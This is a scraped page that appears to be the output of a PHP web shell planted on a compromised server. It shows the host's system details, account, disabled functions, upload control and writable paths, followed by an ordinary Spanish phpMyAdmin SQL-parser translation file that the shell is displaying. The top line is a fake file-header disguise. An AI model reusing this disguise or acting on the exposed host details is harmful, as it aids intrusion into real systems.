%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/es/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/es/LC_MESSAGES/sqlparser.po
# Automatically generated <>, 2010.
msgid ""
msgstr ""
"Project-Id-Version: SQL parser 5\n"
"Report-Msgid-Bugs-To: translators@phpmyadmin.net\n"
"POT-Creation-Date: 2023-02-26 22:46+0100\n"
"PO-Revision-Date: 2022-04-19 18:11+0000\n"
"Last-Translator: Cristian Alexander Avila González <ag089222@gmail.com>\n"
"Language-Team: Spanish <https://hosted.weblate.org/projects/phpmyadmin/sql-"
"parser/es/>\n"
"Language: es\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.12-dev\n"

#: src/Component.php:39 src/Component.php:59
msgid "Not implemented yet."
msgstr "Aún no implementado."

#: src/Components/AlterOperation.php:415 src/Statement.php:359
msgid ""
"A new statement was found, but no delimiter between it and the previous one."
msgstr ""
"Se encontró una nueva declaración, pero no hay delimitador entre éste y el "
"anterior."

#: src/Components/AlterOperation.php:427
msgid "Missing comma before start of a new alter operation."
msgstr "Falta la coma antes de comenzar la operación de modificación."

#: src/Components/AlterOperation.php:472
msgid "Unrecognized alter operation."
msgstr "Operación de modificación desconocida."

#: src/Components/Array2d.php:88
#, php-format
msgid "%1$d values were expected, but found %2$d."
msgstr "Se esperaban %1$d valores, pero encontró %2$d."

#: src/Components/Array2d.php:108
msgid "An opening bracket followed by a set of values was expected."
msgstr ""
"Se esperaba un corchete de apertura seguido por un conjunto de valores."

#: src/Components/ArrayObj.php:106 src/Components/CreateDefinition.php:233
msgid "An opening bracket was expected."
msgstr "Se esperaba un corchete de apertura."

#: src/Components/CaseExpression.php:133 src/Components/CaseExpression.php:161
#: src/Components/CaseExpression.php:172 src/Components/CaseExpression.php:184
#: src/Components/IndexHint.php:134 src/Components/IndexHint.php:164
#: src/Components/LockExpression.php:173 src/Components/LockExpression.php:180
#: src/Components/LockExpression.php:188 src/Statements/DeleteStatement.php:249
#: src/Statements/DeleteStatement.php:268
#: src/Statements/DeleteStatement.php:308
#: src/Statements/DeleteStatement.php:320
#: src/Statements/DeleteStatement.php:346
#: src/Statements/DeleteStatement.php:353
#: src/Statements/InsertStatement.php:189
#: src/Statements/InsertStatement.php:220 src/Statements/LoadStatement.php:265
#: src/Statements/LockStatement.php:85 src/Statements/ReplaceStatement.php:149
#: src/Statements/ReplaceStatement.php:178
msgid "Unexpected keyword."
msgstr "Palabra clave inesperada."

#: src/Components/CaseExpression.php:192
msgid "Unexpected end of CASE expression"
msgstr "Final inesperado de expresión CASE"

#: src/Components/CaseExpression.php:212
msgid "Potential duplicate alias of CASE expression."
msgstr "Posible alias duplicado de la expresión CASE."

#: src/Components/CaseExpression.php:225
msgid "An alias expected after AS but got "
msgstr "Un alias se esperaba tras AS pero se obtiene "

#: src/Components/CaseExpression.php:238 src/Components/Expression.php:352
#: src/Components/Expression.php:372 src/Components/Expression.php:424
msgid "An alias was previously found."
msgstr "Se encontró anteriormente un alias."

#: src/Components/CaseExpression.php:252
msgid "An alias was expected after AS."
msgstr "Se esperaba un alias después de AS."

#: src/Components/CreateDefinition.php:255
msgid ""
"A symbol name was expected! A reserved keyword can not be used as a column "
"name without backquotes."
msgstr ""
"¡Se esperaba un nombre de símbolo! Una palabra reservada no puede usarse "
"como nombre de columna sin comillas."

#: src/Components/CreateDefinition.php:268
msgid "A symbol name was expected!"
msgstr "¡Se esperaba un nombre de símbolo!"

#: src/Components/CreateDefinition.php:300
msgid "A comma or a closing bracket was expected."
msgstr "Se esperaba una coma o un corchete de cierre."

#: src/Components/CreateDefinition.php:313 src/Statements/WithStatement.php:328
msgid "A closing bracket was expected."
msgstr "Se esperaba un corchete de cierre."

#: src/Components/DataType.php:130
msgid "Unrecognized data type."
msgstr "Tipo de dato desconocido."

#: src/Components/ExpressionArray.php:106 src/Statements/WithStatement.php:197
msgid "An expression was expected."
msgstr "Se esperaba una expresión."

#: src/Components/Expression.php:257 src/Components/Expression.php:435
msgid "An alias was expected."
msgstr "Se esperaba un alias."

#: src/Components/Expression.php:403
msgid "Unexpected dot."
msgstr "Punto inesperado."

#: src/Components/IndexHint.php:140 src/Components/IndexHint.php:170
#: src/Components/Key.php:259 src/Components/LockExpression.php:161
#: src/Components/SetOperation.php:138 src/Statement.php:258
#: src/Statements/DeleteStatement.php:263
#: src/Statements/DeleteStatement.php:315
#: src/Statements/ExplainStatement.php:161
#: src/Statements/InsertStatement.php:203
#: src/Statements/InsertStatement.php:240 src/Statements/LoadStatement.php:270
#: src/Statements/LoadStatement.php:291 src/Statements/LoadStatement.php:310
#: src/Statements/LockStatement.php:93 src/Statements/LockStatement.php:100
#: src/Statements/PurgeStatement.php:106 src/Statements/PurgeStatement.php:119
#: src/Statements/PurgeStatement.php:140
#: src/Statements/ReplaceStatement.php:163 src/Statements/WithStatement.php:132
msgid "Unexpected token."
msgstr "Símbolo (token) inesperado."

#: src/Components/Limit.php:78 src/Components/Limit.php:105
msgid "An offset was expected."
msgstr "Se espera un desplazamiento."

#: src/Components/LockExpression.php:91 src/Components/LockExpression.php:201
msgid "Unexpected end of LOCK expression."
msgstr "Final inesperado de la expresión LOCK."

#: src/Components/OptionsArray.php:146
#, php-format
msgid "This option conflicts with \"%1$s\"."
msgstr "Esta opción tiene conflictos con \"%1$s\"."

#: src/Components/RenameOperation.php:103
msgid "The old name of the table was expected."
msgstr "Se esperaba el nombre anterior de la tabla."

#: src/Components/RenameOperation.php:109
msgid "Keyword \"TO\" was expected."
msgstr "Se esperaba la palabra clave \"TO\"."

#: src/Components/RenameOperation.php:124
msgid "The new name of the table was expected."
msgstr "Se esperaba el nuevo nombre de la tabla."

#: src/Components/RenameOperation.php:140
msgid "A rename operation was expected."
msgstr "Se esperaba un cambio de nombre."

#: src/Components/SetOperation.php:121
msgid "Missing expression."
msgstr "Expresión desaparecida."

#: src/Lexer.php:274
msgid "Unexpected character."
msgstr "Caracter inesperado."

#: src/Lexer.php:313
msgid "Expected whitespace(s) before delimiter."
msgstr "Espacio(s) en blanco esperado(s) antes de delimitador."

#: src/Lexer.php:329 src/Lexer.php:348
msgid "Expected delimiter."
msgstr "Delimitador esperado."

#: src/Lexer.php:1004
#, php-format
msgid "Ending quote %1$s was expected."
msgstr "Se esperaba terminar la cita %1$s."

#: src/Lexer.php:1056
msgid "Variable name was expected."
msgstr "Se esperaba el nombre de la variable."

#: src/Parser.php:456
msgid "Unexpected beginning of statement."
msgstr "Comienzo inesperado de declaración."

#: src/Parser.php:499
msgid "Unrecognized statement type."
msgstr "Tipo de declaración desconocida."

#: src/Parser.php:587
msgid "No transaction was previously started."
msgstr "Ninguna operación se inició anteriormente."

#: src/Statement.php:327
msgid "This type of clause was previously parsed."
msgstr "Este tipo de cláusula se analizó previamente."

#: src/Statement.php:398
msgid "Unrecognized keyword."
msgstr "Palabra clave no reconocida."

#: src/Statement.php:409
msgid "Keyword at end of statement."
msgstr "Palabra clave al final de la sentencia."

#: src/Statement.php:555
msgid "Unexpected ordering of clauses."
msgstr "Orden inesperado de condiciones."

#: src/Statements/CreateStatement.php:549
msgid "The name of the entity was expected."
msgstr "Se esperaba el nombre de la entidad."

#: src/Statements/CreateStatement.php:598
msgid "A table name was expected."
msgstr "Se esperaba un nombre de tabla."

#: src/Statements/CreateStatement.php:603
msgid "At least one column definition was expected."
msgstr "Se esperaba la definición de al menos una columna."

#: src/Statements/CreateStatement.php:707
msgid "A \"RETURNS\" keyword was expected."
msgstr "Se esperaba una palabra \"RETURNS\"."

#: src/Statements/DeleteStatement.php:329
msgid "This type of clause is not valid in Multi-table queries."
msgstr "Este tipo de cláusula no es válida en consultas multi-tabla."

#: src/Statements/LockStatement.php:120
msgid "Unexpected end of LOCK statement."
msgstr "Fin inesperado de la instrucción LOCK."

#: src/Statements/PurgeStatement.php:138
msgid "Unexpected keyword"
msgstr "Palabra clave inesperada"

#: src/Statements/WithStatement.php:118
msgid "The name of the CTE was expected."
msgstr "Se esperaba el nombre del CTE."

#: src/Statements/WithStatement.php:137
msgid "AS keyword was expected."
msgstr "Se esperaba la palabra clave AS."

#: src/Statements/WithStatement.php:149
msgid "Subquery of the CTE was expected."
msgstr "Se esperaba subconsulta del CTE."

#: src/Statements/WithStatement.php:266
msgid "Unexpected end of the WITH CTE."
msgstr "Final inesperado del CON CTE."

#~ msgid "Unexpected end of Lock expression."
#~ msgstr "Final inesperado de la expresión de bloqueo."

#~ msgid "error #1"
#~ msgstr "error #1"

#~ msgid "strict error"
#~ msgstr "error estricto"

VaKeR 2022